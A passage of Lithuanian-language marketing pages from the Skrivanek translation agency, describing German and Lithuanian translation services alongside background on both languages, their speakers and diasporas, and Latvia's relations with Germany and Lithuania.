kalbančių bendruomenių yra Čekijoje, Vengrijoje, Lenkijoje, Rumunijoje, Rusijoje ir Kazachstane, kur vokiečiai buvo deportuoti Antrojo pasaulinio karo metais. Kai kurie iš jų grįžo namo 1980- aisiais ir 1990- aisiais. Bulgarijoje, Kipre, Graikijoje, Izraelyje, Italijoje, Maroke, Nyderlanduose, Kipre, Portugalijoje ir kitose Europos šalyse gyvena mažos vokiškai kalbančios bendruomenės. Už Europos ribų daugiausia vokiškai kalbančių žmonių gyvena JAV, Kanadoje, Brazilijoje ir Argentinoje. Vokiečių kalba yra oficialioji kalba Vokietijoje, Belgijoje, Austrijoje, Lichtenšteine, Liuksemburge ir Šveicarijoje. Ji taip pat yra viena iš oficialių Europos Sąjungos darbo kalbų. VOKIEČIŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU „Skrivanek“ vokiečių kalbos vertėjų raštu ir žodžiu komanda atlieka įprastus, techninius ir notaro patvirtintus vertimus. „Skrivanek“ taip pat atlieka vokiškų tekstų korektūrą ir stilistinį tobulinimą. Dažniausiai verslo klientams iš vokiečių kalbos ir į ją verčiame produktų aprašymus, elektroninės prekybos turinį ir interneto svetaines, reklaminius šūkius ir rinkodaros vertimus, bendradarbiavimo sutartis ir verslo dokumentų vertimus. Taip pat teikiame nuosekliojo ir sinchroninio vertimo paslaugas verslo ar kitiems pokalbiams, įskaitant „Zoom“ ir kitose internetinėse platformose, tiesioginėse konferencijose ir kituose renginiuose. „Skrivanek“ latvių–vokiečių kalbų vertėjai taip pat bendradarbiauja su valdžios institucijomis verčiant dokumentus, bendradarbiavimo sutartis ir teisinius dokumentus. Tiek juridiniams, tiek fiziniams asmenims verčiame medicininius tekstus ir dokumentus. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. Esame tarptautinis vertimų biuras, dirbantis su klientais iš visų Baltijos šalių, todėl savo esamiems ir potencialiems klientams taip pat galime pasiūlyti vertimus iš vokiečių kalbos į lietuvių kalbą. Mūsų komandoje taip pat dirba patyrę estų–vokiečių kalbų vertėjai raštu ir žodžiu. VOKIEČIŲ KALBA VERSLUI Vokietijos, daugiausia gyventojų turinčios Europos Sąjungos šalies, vaidmuo tarptautinėje ekonominėje ir verslo arenoje po susivienijimo labai išaugo. Vokietijoje veikia socialinė rinkos ekonomika – atviros rinkos kapitalizmas, kuris taip pat suteikia tam tikrų socialinių paslaugų garantijų. Jos ekonomika yra viena didžiausių pasaulyje, o Vokietija yra viena didžiausių pasaulio importuotojų ir eksportuotojų. Didžiausią indėlį į šalies ekonomiką įneša paslaugos, apimančios tokius sektorius kaip telekomunikacijos, sveikatos priežiūra ir turizmas. Kiti svarbiausi ekonomikos sektoriai yra pramonė ir žemės ūkis. Dabar Vokietija pagal verslo augimą galėtų užimti antrą vietą pasaulyje po Japonijos. Be to, pagal gyvenimo kokybės, darbo rinkos ir verslumo rodiklius ji laikoma stipriausia šalimi Europoje. Vokietijoje ir visame pasaulyje daugiau nei 185 mln. žmonių vokiečių kalba yra gimtoji, šalyje taikomos pažangiausios technologijos, populiarėja e. prekyba, o užsienio verslininkams tai yra fantastiškas rinkos sektorius. Todėl vokiečių kalbos žinios daro didelę įtaką ir yra labai svarbios visuose verslo santykiuose Vokietijoje ir visose šalyse, kuriose vokiečių kalba yra oficiali šalies kalba. Elektroninės prekybos tikslinė auditorija yra didžiulė. Jei norite pritraukti Vokietijos verslo partnerį ir įsitraukti į dinamiškiausią verslo ekonomiką pasaulyje, kalbėkite vokiškai. Vokiečiai mieliau bendradarbiauja su įmonėmis, kurių darbuotojai kalba vokiškai. Įrodyta, kad vokiečiai diskriminuoja net ir gerai žinomus prekių ženklus, kurių interneto svetainėse naudojama tik viena kalba; tai patikimiausias būdas atstumti vokiečių klientus, net jei jie kalba angliškai. VOKIETIJOS IR LATVIJOS BENDRADARBIAVIMAS Latvijos vokiečiai yra viena iš Latvijos istorinių tautinių mažumų, priklausanti Baltijos provincijos vokiečiams arba Baltijos vokiečiams. Dauguma Latvijos vokiečių šiandien gyvena Rygoje ir Liepojoje. 2017 m. Latvijos vokiečiai buvo aštunta pagal dydį tautinė mažuma. 2011 m. surašymo duomenimis, Latvijoje gyveno 3042 vokiečiai. Vokiečių atvykimas į Latviją minimas jau pirmoje Livonijos kronikos dalyje, kurią XIII a. pradžioje parašė latvis Indrikis. Kunigas Meinardas iš Holšteino atvyko į Dauguvos žemupį apie 1180 m. ir apsigyveno kartu su Dauguvos žemupyje gyvenančiais lyviais. Per Livonijos kryžiaus žygius vokiečių kryžiuočių užkariautose žemėse buvo įkurta Livonijos konfederacija, o greta lotynų kalbos vokiečių kalba ir jos žemutinės vokiečių kalbos dialektas tapo vis svarbesne tarptautine bendravimo kalba. Įkūrus Kuršo ir Žiemgalos kunigaikštystę bei Švedijos Vidžemę, jų administracijoje dominavo vokiečių kalba. Taip pat po 1710 m. Vidžemės kapituliacijos vokiečių baltai ir vokiečių kalba Vidžemėje išliko dominuojantys. 1766 m. Rusijos imperatorienė Jekaterina II išleido įsakymą Irsi valsčiuje įkurti vokiečių valstiečių koloniją. Pirmasis gyventojas atvyko 1765 m. iš Liubeko, o per kitus dvejus metus iš Pfalco, Darmštato ir Pomeranijos atvyko 86 šeimos. XVIII a. pabaigoje Latvijoje gyveno apie 6,5 % vokiečių, XIX a. pabaigoje, 1897 m. surašymo duomenimis, vokiečių buvo 7,1 % (apie 138 000) 1905 m. Kuršo vokiečių bajorai, veikiami 1908–1913 m. revoliucijos, savo nupirktuose dvaruose, kuriuos finansavo Jelgavos „Kurländischer Kreditverein“, pradėjo patys apgyvendinti vokiečių kolonistus iš Rusijos imperijos pakraščių (Lenkijos ir Pietų Rusijos). Pirmoji Kuršo vokiečių ūkininkų kolonija buvo įkurta Kurmalės ir Planicos valsčiuose. Iš viso iki Pirmojo pasaulinio karo pradžios Kuržemės vaivadijoje apsigyveno apie 13 000 vokiečių valstiečių. Po nepriklausomybės atgavimo 1920–1930 m. vokiečių Latvijoje sumažėjo, tačiau jie išlaikė savo įtaką Latvijos ekonomikai: 1935 m. iš 922 didelių pramonės įmonių 15,7 proc. priklausė vokiečiams, jie pagamino 36,7 proc. visos produkcijos. Prasidėjus Antrajam pasauliniam karui, nuo 1939 m. lapkričio 7 d. iki 1939 m. gruodžio 16 d. iš Latvijos emigravo apie 47 000 vokiečių baltarusių, tačiau liko apie 4000–7000. Okupavus Latviją, 1941 m. sausio 10 d Vokietijos ir SSRS vyriausybės pasirašė susitarimą dėl papildomos Latvijos vokiečių emigracijos. Šiandien Vokietiją ir Latviją sieja ne tik geografinis artumas ir ilga bendra istorija. Ypač po Latvijos narystės ES ir NATO, kurią aktyviai rėmė Vokietijos vyriausybė, abiejų šalių likimai yra glaudžiai susiję, nes abi šalys tapo tikromis partnerėmis. Praktiškai joms tenka iš naujo įrodinėti savo vertę – tai liudija finansų ir pabėgėlių krizės, taip pat su saugumo politika susiję iššūkiai. Tai nėra vien tik karinė parama, pavyzdžiui, Vokietijos vadovaujamas vaidmuo viename iš keturių tarptautinių batalionų, kuriuos NATO dislokavo Baltijos šalyse ir Lenkijoje, Vokietijos dalyvavimas Baltijos šalių oro erdvės kontrolėje ir manevruose arba karinių jūrų pajėgų vizitai. Vokietija svariai prisidėjo prie Baltijos regiono saugumo ir stabilumo. Vokietija reguliariai dalyvauja Baltijos šalių oro erdvės patruliavime. Latvija taip pat glaudžiai bendradarbiauja su Vokietija transporto ir logistikos srityje. Vokietija yra viena iš šalių, kurios įmonės dalyvauja „Rail Baltica“ infrastruktūros projekte. 2021 m. gruodį Rygoje buvo pasirašytas Transporto, Gerovės bei Švietimo ir mokslo ministerijų ir „Deutsche Bahn“ antrinės įmonės „DB Engineering & Consulting GmbH“ susitarimo memorandumas dėl bendradarbiavimo plėtojant švietimą geležinkelių ir transporto sektoriuje. Memorandume išdėstytas bendras supratimas, kad reikia sukurti geležinkelių akademiją, kuri padėtų Rygai ir Latvijai tapti Baltijos šalių geležinkelių ir logistikos pramonės žinių centru. Pasirašius susitarimo memorandumą, toliau bus tęsiamas praktinis darbas siekiant susitarti dėl akademijai įsteigti būtinų veiksmų. Latvija ir Vokietija ypač aktyviai bendradarbiauja aukštojo mokslo srityje pagal dvišalius aukštojo mokslo institucijų bendradarbiavimo susitarimus ir pagal Mokymosi visą gyvenimą programos „Erasmus“ paprogramę. Jau kelerius metus Vokietijos Bundestagas siūlo jauniems žmonėms iki 32 metų amžiaus galimybę dalyvauti Tarptautinių parlamentų stipendijoje („Internationales Parlaments-Stipendium“). Latvija prie programos prisijungė 1992 m. Nuo 2010 m. Latvijos Respublikos Seimas taip pat kasmet siūlo praktikos galimybes Vokietijos studentams. Vokietijos ambasada ir Gėtės institutas Rygoje, bendradarbiaudami su Latvijos vokiečių kalbos mokytojų asociacija ir Nacionaliniu švietimo centru, teikia didelę paramą vokiečių kalbos mokymui Latvijos švietimo įstaigose. Per ilgus bendros istorijos šimtmečius vokiečių tradicijos ir kultūra padarė didelę įtaką Latvijos kultūros ir profesinės kultūros formavimuisi ir vystymuisi. Nuo 1993 m. Gėtės institutas dirba Latvijoje ir tapo aktyviu daugelio Latvijos kultūros įstaigų partneriu kultūros ir meno srityje. Gėtės instituto Rygoje ir kitų Vokietijos kultūros institucijų bei atstovų indėlis pristatant Latvijos gyventojams vokiečių literatūrą, meną, muziką, kiną ir kitas sritis yra labai vertinamas ir remiamas. Rygoje taip pat įsikūrusi Vokietijos ambasada Latvijoje. SPRENDIMAI, KURIUOS DAŽNIAUSIAI TEIKIAME VOKIEČIŲ KALBA: įvairių dokumentų vertimas į vokiečių kalbą; skubūs rašytiniai vertimai; notaro patvirtintas vertimas; interneto svetainės vertimas; vokiškų tekstų korektūros; tekstų adaptacija ir kūrybinių tekstų rengimas; DTP – grafinio dizaino paslaugos; Vertimas žodžiu į vokiečių kalbą; Individualūs ir grupiniai vokiečių kalbos kursai. VOKIEČIŲ KALBOS KOMBINACIJOS: vokiečių–latvių; latvių–vokiečių; vokiečių–lietuvių; lietuvių–vokiečių; estų–vokiečių; vokiečių–estų; anglų–vokiečių; vokiečių–anglų; rusų–vokiečių; vokiečių–rusų; lenkų–vokiečių; vokiečių–lenkų; ukrainiečių–vokiečių; vokiečių–ukrainiečių; čekų–vokiečių; vokiečių–čekų; vokiečių–rumunų; rumunų–vokiečių; ispanų–vokiečių; vokiečių–ispanų; prancūzų–vokiečių; vokiečių–prancūzų; italų–vokiečių; vokiečių–italų; danų–vokiečių; vokiečių–danų; švedų–vokiečių; vokiečių–švedų; norvegų–vokiečių; vokiečių–norvegų; suomių–vokiečių; vokiečių–suomių ir kt. --- > Kalbų sprendimai daugiau nei 300 lietuvių kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų lietuvių kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. VERTIMAI Į LIETUVIŲ KALBĄ KIEK KAINUOJA VERTIMAS Į LIETUVIŲ KALBĄ? Mūsų biure kiekvieno vertimo iš / į lietuvių kalbą kaina nustatoma individualiai kiekvienam užsakymui. Kaina priklauso nuo verčiamos medžiagos apimties, vertimo terminų, teksto turinio specifikos, teksto pasikartojimo vertime, grafinio apdorojimo, teksto formatavimo, korektūros ir kliento pasirinktų papildomų paslaugų. AR YRA VERTIMŲ KAINORAŠTIS? Taip, vertimo raštu ir žodžiu iš / į lietuvių kalbą kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Mūsų vertimo projektų vadovai visada pateiks išsamią informaciją apie vertimo kainą prieš pradedant vertimo projektą. Kiekvieno užsakymo kaina nustatoma individualiai pagal dabartinį „Skrivanek“ kainoraštį, atsižvelgiant į originalo teksto žodžių skaičių, vertimo dubliavimąsi ir kitus parametrus. Norėdami sužinoti vertimo kainą, susisiekite su mumis arba atsiųskite tekstą, kurį reikia išversti. ĮDOMŪS FAKTAI APIE LIETUVIŲ KALBĄ Lietuvių kalba priklauso indoeuropiečių kalbų šeimai, baltų kalbų grupei. Tai valstybinė kalba Lietuvoje, bet labiausiai paplitusi tautinių mažumų kalba Latvijoje, Estijoje ir iš dalies Lenkijoje bei Baltarusijoje. Lietuvių kalba yra gimtoji maždaug 4 milijonams žmonių, daugiausia Lietuvoje, kur ji yra vienintelė valstybinė kalba. Ji priklauso baltų kalbų grupei ir yra artimiausia latvių kalbai. Tai seniausia gyva indoeuropiečių šeimos kalba. Iš trijų baltų kalbų – lietuvių, latvių ir prūsų – lietuvių kalba užima antrąją vietą pagal senuosius indoeuropiečių pradmenis: lietuvių kalbos gramatinės formos yra daug artimesnės indoeuropiečių pradmenims nei latvių, tačiau ji yra modernesnė už XVIII a. išnykusią prūsų kalbą. Šiandien lietuvių kalba yra seniausia gyva indoeuropiečių kalba. Lietuvių literatūrinė kalba nebuvo paveikta finougrų kalbų, kaip kuršių, žiemgalių, sėlių ir latvių kalbos, tačiau finougrų kalbų įtaka jaučiama šiaurės Lietuvoje, kur anksčiau gyveno kuršiai, žiemgaliai ir sėliai. Šių kalbų mišinys padarė didžiausią įtaką žodžių kirčiavimui šiaurės lietuvių tarmėse. Lietuvių kalba yra gimininga latvių kalbai. Manoma, kad abi kalbos iki XIII a. vystėsi kartu ir tik vėliau išsiskyrė į dvi atskiras kalbas. Šios kalbos atsirado III a. pr. m. e. , kai Baltijos jūros pakrantėje gyveno senovės baltų gentys. Lietuvių kalba turi dvi pagrindines tarmes – aukštaičių ir žemaičių. Abi tarmės turi tris dialektus, kurie dar skirstomi į 14 dialektų variantų. Seniausias išlikęs lietuviško rašto pavyzdys yra 1525 m. liturginis tekstas, tačiau pirmoji lietuviškai išspausdinta bažnytinė knyga buvo 1547 m. Karaliaučiuje Martyno Mažvydo išverstas Katekizmas. Knyga parašyta pietų žemaičių tarme, tačiau joje yra ir įvairių vakarų aukštaičių tarmės bruožų. Šioje knygoje apie 20 % visų pavartotų žodžių buvo skoliniai, daugiausia slavizmai. Nuo XVI a. iki XVIII a. pabaigos Lietuvos Didžiosios Kunigaikštystės teritorijoje egzistavo du rašytinės kalbos variantai: rytinis variantas, kurio pagrindą sudarė Vilniaus apylinkių rytinė aukštaičių tarmė, ir vidurio variantas, susiformavęs Vidurio Lietuvoje ties Kėdainių miestu pagal vietinį vakarų aukštaičių tarmės variantą. Jonas Jablonskis įnešė didelį indėlį į lietuvių literatūrinės kalbos raidą, ir pasirinko aukštaičių tarmę kaip jos pagrindą. Lietuvių literatūrinė kalba formavosi sunkiomis tautai sąlygomis, kai dėl Rusijos imperijos rusifikacinės politikos nuo 1864 m. maždaug pusę amžiaus dabartinės Lietuvos teritorijoje buvo draudžiama leisti knygas lietuvių kalba, tačiau jos vis tiek buvo gabenamos kontrabanda. 1863–1904 m. , kai Rusijos imperija uždraudė savo teritorijoje naudoti lotyniškas raides (Lietuva tuo metu priklausė Rusijos imperijai), daug žmonių, rizikuodami gyvybe, gabeno lietuviškas knygas į šalį iš Prūsijos. Šiandien šie knygnešiai yra šalies didvyriai, o jų pasiaukojančiam patriotizmui įamžinti Lietuvoje pastatytas, kaip manoma, vienintelis tokio pobūdžio paminklas. Daugiausia skolinių lietuvių kalboje yra iš slavų (senosios rusų baltarusių, lenkų, rusų) ir germanų kalbų. Tai lėmė istorinė šių kalbų įtaka ir glaudūs Lietuvos Didžiosios Kunigaikštystės ir Prūsijos ryšiai. Be to, yra šiek tiek skolinių iš finougrų ir kitų baltų kalbų. XX amžiuje didžioji dauguma skolinių buvo imami tiesiogiai iš Rusijos. Po nepriklausomybės atgavimo padaugėjo skolinių iš anglų kalbos (anglicizmų). Daugelis populiariausių lietuviškų asmenvardžių yra susiję su gamta. Tai atkeliavo iš senų laikų, kai lietuviai, kaip ir latviai, gyveno darnoje su gamta ir savo vaikams duodavo medžių, gamtos reiškinių ar gėlių vardus. Kai kurie pavadinimai, pavyzdžiui, Rūta, Eglė, Aušra, Gintaras, paplitę ir šiandien. Vienas įdomiausių faktų apie lietuvių kalbą ir lietuvius yra tai, kad pagal pavardę galima nustatyti, ar moteris yra ištekėjusi. Jei ištekėdama lietuvė pasirenka vyro pavardę, prie jos pavardės pridedama galūnė -ienė. Pavyzdžiui, jei ištekės moteris, turinti pavardę „Kazlauska“, jos pavardė taps „Kazlauskienė“. Paprastai, jei moters pavardė baigiasi galūne -ytė arba -aitė, ji nėra ištekėjusi. Tačiau ši tradicija pamažu nyksta, ir Lietuvoje moterys dažnai renkasi rašyti savo pavardes su galūne -ė (šiuo atveju „Kazlauskė“, o ne „Kazlauskaitė“ ar „Kazlauskienė“), kad žmonės, perskaitę moters pavardę, negalėtų nustatyti jos šeiminės padėties. LIETUVIŲ KALBOS ABĖCĖLĖ Šiuolaikinės lietuvių kalbos rašyba yra daugiausia morfologinė. Ji įsitvirtino XIX a. pabaigoje ir XX a. pradžioje. Nuo pat pirmųjų užrašų (XVI a. ) lietuvių kalboje vartojama lotynų abėcėlė. Ji buvo išplėsta ir šiandien ją sudaro 32 raidės: 12 balsių (a, ą, e, ę, ė, i, į, y, o, u, ų, ū) ir 20 priebalsių (b, c, č, d, f, g, h, j, k, l, m, n, p, r, s, š, t, v, z, ž). Fonemos „x“, „ʣ“, „ʤ“ taip pat žymimos raidėmis „ch“, „dz“, „dž“. Fonologiškai išskiriama 14 balsių ir 45 priebalsių fonemos. Balsių fonemos gali funkcionuoti kaip atskiri skiemenys, o priebalsių fonemos – ne. Skirtingai nei latvių kalboje, visi lietuvių kalbos priebalsiai, išskyrus „j“, kuris visada yra minkštas, atsižvelgiant į padėtį, gali būti kieti arba minkšti. AR SUNKU KALBĖTI LIETUVIŠKAI? Lietuvių kalba yra tarsi treniruotė smegenims. Ši kalba yra senovinė ir panaši į klasikinį indų sanskritą, taip pat iš dalies į senovės lotynų ir graikų kalbas. Seniausią gyvą indoeuropiečių kalbą mokslininkai tyrinėja ir šiandien. Lietuvių kalbos sudėtingumą daugiausia lemia tai, kad ji yra seniausia indoeuropiečių kalba. Lietuvių kalba laikoma viena sudėtingiausių kalbų pasaulyje. JAV Užsienio tarnybos instituto duomenimis, lietuvių kalba priskiriama labai sudėtingų kalbų kategorijai, tačiau ją tikrai lengviau išmokti nei arabų, korėjiečių ar kinų. Žinoma, daugiausia tai susiję su fonetiniu skambesiu ir su gramatikos taisyklėmis, kurios neturi analogų jokioje kitoje pasaulio kalboje. Yra įvairūs kirčiai, kurie gali visiškai pakeisti žodžio reikšmę, atsižvelgiant į tai, kuris kirtis vartojamas. Lietuviai vartoja daug mažybinių žodžių ir neturi keiksmažodžių. Jei lietuviai jaučia poreikį keiktis, jie gali ką nors pavadinti „gyvate“ ar „rupūže“. Lietuviai taip pat turi raidę „ė“, kurios nėra jokioje kitoje kalboje. Ši raidė laikoma moteriškumo simboliu, nes ji vartojama moterų vardų pabaigoje. Išmokti skaityti lietuviškai neturėtų būti sudėtinga, nes raidės tariamos taip, kaip rašomos. Sudėtingiau atskirti daiktavardžių giminę. Patys lietuviai juokauja, kad greičiausias būdas išmokti lietuvių kalbą – įsimylėti lietuvį. LIETUVIŲ KALBOS VERTĖJAS ŽODŽIU IR RAŠTU Mūsų vertėjų raštu ir žodžiu komanda gali išversti standartinius ir notaro patvirtintus dokumentus. Žinoma, mes taip pat atliekame sinchroninį vertimą žodžiu. „Skrivanek“ atlieka tekstų lietuvių kalba korektūrą ir stilistinį tobulinimą, prireikus redaguoja ir tikrina terminologiją. Dažniausiai pasitaikantys vertimai iš / į lietuvių kalbą yra elektroninės komercijos turinio ir interneto svetainių vertimai, produktų etiketės, reklaminiai šūkiai, SEO tekstų vertimai, „Google“ raktažodžių vertimai, turinio lokalizavimas ir adaptavimas, rinkodara, teisinis turinys, verslo dokumentų vertimai. Dėl glaudaus Latvijos ekonominio bendradarbiavimo su Lietuva taip pat verčiame šiose srityse: mašinų ir technologijų, finansų, medicinos, ryšių, viešųjų ryšių, transporto, mokslo, žemės ūkio, tekstilės, turizmo, Europos Sąjungos dokumentų, pramonės, mokslo, mažmeninės prekybos, technologijų. Fiziniams asmenims verčiame asmens tapatybės dokumentus, santuokos liudijimus, vaikų gimimo liudijimus, išsilavinimo dokumentus, pasus, medicininius dokumentus ir kt. vertimus. KUR IR KIEK KALBAMA LIETUVIŠKAI? Lietuvių kalba yra valstybinė Lietuvos kalba, kuria kalba daugiau nei 85 proc. šalies gyventojų, o 90 proc. šalies gyventojų laisvai kalba lietuviškai. Lietuvių kalba vartojama ir už Lietuvos ribų. Nemažai lietuviškai kalbančių žmonių gyvena Lenkijoje, kur lietuvių kalba įtraukta į vietos švietimo programą. Nuo XIX a. didėjanti emigracija iš Lietuvos taip pat lėmė užsienio piliečių tapatinimąsi su kalba. Daugelyje užsienio šalių, įskaitant JAV, Jungtinę Karalystę ir Norvegiją, susikūrė lietuviškai kalbančios bendruomenės. Iš viso pasaulyje gali būti apie 4 mln. kalbos vartotojų. Lietuvoje ši kalba yra gimtoji maždaug 2,4 mln. žmonių. Be lietuvių diasporų kaimyninėse šalyse, XIX–XXI a. lietuviai taip pat emigravo į kitus žemynus. JAV gyvena gausiausia lietuvių diaspora – maždaug 600 000 lietuvių. Lietuvių emigracija į JAV prasidėjo XIX a. ir nutrūko sovietų okupacijos metais, kai kelionės ir emigracija buvo labai apribotos. Čikaga vadinama JAV lietuvių sostine. 1991 m. žlugus Sovietų Sąjungai, į JAV emigravo apie 200 000 lietuvių. Kanadoje gyvena apie 60 000 lietuvių. XIX a. pab. ir XX a. pr. , prieš Antrąjį pasaulinį karą, Meksikoje ir Pietų Amerikoje (Argentinoje, Brazilijoje, Kolumbijoje, Urugvajuje ir Venesueloje) susikūrė lietuvių bendruomenės. Šiandien emigrantų srauto į šias šalis nebėra, nes ekonominės sąlygos šiose šalyse nėra geresnės nei Lietuvoje. Šiuo metu bendras lietuvių skaičius šiose šalyse gali siekti apie 230 000. XIX a. pabaigoje ir XX a. pradžioje Pietų Afrikoje atsirado lietuvių, daugiausia žydų, bendruomenės. Lietuvių bendruomenės buvusios Sovietų Sąjungos regionuose susiformavo sovietų okupacijos metais; lietuvių skaičius Sibire ir Vidurinėje Azijoje smarkiai išaugo, kai į šias teritorijas buvo priverstinai ištremta daug lietuvių. Tačiau dauguma jų vėliau grįžo į Lietuvą. Vėliau daug lietuvių buvo perkelta dirbti į kitas Sovietų Sąjungos dalis, o kai kurie iš jų negrįžo į Lietuvą, kai ši tapo nepriklausoma. Šiandien Rusijoje galėtų gyventi apie 86 000 lietuvių. Lietuvių bendruomenės Šiaurės Vakarų Europoje (Jungtinėje Karalystėje, Airijoje, Švedijoje, Norvegijoje ir Islandijoje) yra labai jaunos ir pradėjo kurtis Lietuvai atgavus nepriklausomybę 1990 m. ; ši emigracija suintensyvėjo Lietuvai 2004 m. tapus Europos Sąjungos nare. Airijos Respublikoje lietuvių koncentracija, palyginti su bendru gyventojų skaičiumi, yra bene didžiausia Vakarų Europoje; apskaičiuota, kad 45 000 lietuvių (maždaug pusė jų yra registruoti) sudaro daugiau nei 1 % visų Airijos gyventojų. Norvegijoje gyvena apie 47 000 lietuvių, kurie per trumpą laiką tapo antrąja pagal dydį šalies tautine mažuma, sudarančia 0,85 % visų Norvegijos gyventojų ir 4,81 % visų Norvegijoje gyvenančių užsieniečių. Islandijoje gyvena apie 3 500 lietuvių, kurie sudaro apie 1 % visų šalies gyventojų. Lietuvių diaspora Vokietijoje pradėjo formuotis po Antrojo pasaulinio karo. 1950 m. Dypholce jie įkūrė lietuvių vidurinę mokyklą – privačią mokyklą lietuvių pabėgėlių vaikams. Ilgus dešimtmečius lituanistinė vidurinė mokykla buvo vienintelė dieninė vidurinė mokykla už Rytų bloko ribų, kurioje buvo dėstoma Lietuvos istorija, kalba ir kultūra. 1954. Lietuvių bendruomenė įsigyja Rennhofo dvarą su dvylikos hektarų parku Hiutenfelde Lámpertheime. Mokykla buvo perkelta ten ir tebėra dar dabar – https://www. gimnazija. de/en Dabar mokykla vadinama Vasario 16-osios gimnazija. Australijoje taip pat yra lietuvių bendruomenių, tačiau dėl didelio atstumo nuo Europos emigracija į Australiją yra nedidelė. LIETUVIŲ KALBA VERSLUI Lietuvių kalba kaip verslo kalba daugiausia vartojama tik Lietuvoje. Užmezgant verslo santykius su Lietuvos verslininkais pravartu žinoti keletą mandagių, paprastų pokalbių frazių lietuvių kalba. Lietuvos įmonės tai tikrai įvertins, nes kalba yra kiekvieno lietuvio pasididžiavimas. Lietuvos verslininkai verslo kontaktams užmegzti dažniausiai vartoja rusų, lenkų ir anglų kalbas. Pagrindiniai bendradarbiavimo partneriai yra ES valstybės narės, į kurias eksportuojamos automobilių dalys ir grūdų produktai. Lietuviai yra daugiakalbiai, dažnai mokantys rusų, anglų, prancūzų ir vokiečių kaip antrąsias užsienio kalbas. Lietuva yra viena iš penkių ES šalių, kuriose gyvena daugiausia žmonių, mokančių bent dvi užsienio kalbas. 90 % lietuvių gali susikalbėti bent viena užsienio kalba, o apie 50 % moka dvi užsienio kalbas. Tyrėjų teigimu, Lietuvos įmonės dažniau bendradarbiauja su nepažįstamais užsieniečiais nei su pažįstamais lietuviais. Pagrindinės šalies prekybos partnerės yra Rusija, Vokietija, Latvija, Estija, Lenkija, Nyderlandai, Lenkija ir Baltarusija. Naudingosios iškasenos, chemikalai, tekstilė ir drabužiai, mašinos ir įrengimai, maisto produktai, mediena ir medienos gaminiai bei plastikai sudaro daugiau kaip 60 proc. eksporto. Daugiausia importuojama naudingųjų iškasenų, transporto įrangos, cheminių medžiagų, tekstilės gaminių ir drabužių. LATVIJOS IR LIETUVOS DVIŠALIAI SANTYKIAI Šiuo metu Latvijoje gyvena apie 27 000 lietuvių, kurie yra penkta pagal dydį tautinė mažuma Latvijoje. Latvijoje gyvena apie 5 000 Lietuvos Respublikos piliečių, neatsižvelgiant į jų pilietybę. Daugiausia lietuvių gyvena Rygoje ir Lietuvos pasienio regione – Liepojoje ir Liepojos regione, Bauskės regione, Saldaus regione, Jelgavoje ir Jelgavos regione, Dobelės regione, Daugpilyje ir Daugpilio regione. Pirmieji lietuviai dabartinės Latvijos teritorijoje apsigyveno VII–XII a. XIX a. pradžioje ir iki XX a. pabaigos, vystantis pramonei, lietuvių imigracija į Latviją labai išaugo. Lietuviai vyko į Rygą, Liepoją, Bauskę, Jelgavą ir Ventspilį ieškoti darbo ir mokytis. Daug lietuvių dirbo Rygos „Fenikss“ vagonų gamykloje, „Provodniks“ gumos gamykloje, lentpjūvėse, verpyklose, alaus daryklose, baldų dirbtuvėse, tramvajų depuose, uostuose ir kitur. 1918 m. susikūrus nepriklausomoms Lietuvos ir Latvijos valstybėms, dalis lietuvių grįžo į Lietuvą. Siekiant būti arčiau Lietuvos, (Daugpilyje, Jelgavoje, Liepojoje, Rygoje ir jų apylinkėse ir kt. ) XX a. šeštajame ir septintajame dešimtmetyje Latvijoje apsigyveno daug buvusių politinių kalinių ir lietuvių tremtinių, kuriems sovietų valdžia neleido grįžti į tėvynę. 1988–1995 m. Latvijos lietuviai aktyviai dalyvavo Latvijos liaudies fronto veikloje. Latviją ir Lietuvą sieja glaudus bendradarbiavimas, bendri interesai Baltijos jūros regione ir strateginė partnerystė ES ir NATO. Nacionalinis politinis dialogas vyksta reguliariai ir aktyviai įvairiais lygmenimis. Tarp nacionalinių parlamentų, ministerijų, vietos valdžios institucijų ir NVO užsimezgė geras praktinis bendradarbiavimas. Latvijos ir Lietuvos istorinis paveldas ir glaudūs asmeniniai žmonių ryšiai sudaro palankias sąlygas bendradarbiauti nevyriausybiniu lygmeniu, įgyvendinti tarpvalstybinius projektus ir skatinti bendradarbiavimą kultūros, švietimo, turizmo ir kitose srityse. Lietuva yra viena svarbiausių Latvijos užsienio prekybos partnerių ir abi šalys palaiko stabilius ekonominius santykius. Latvija ir Lietuva bendradarbiauja švietimo srityje pagal trišalius Baltijos šalių bendradarbiavimo susitarimus, taip pat pagal Baltijos ir Šiaurės šalių, Baltijos jūros regiono, Europos Tarybos ir ES švietimo programas ir 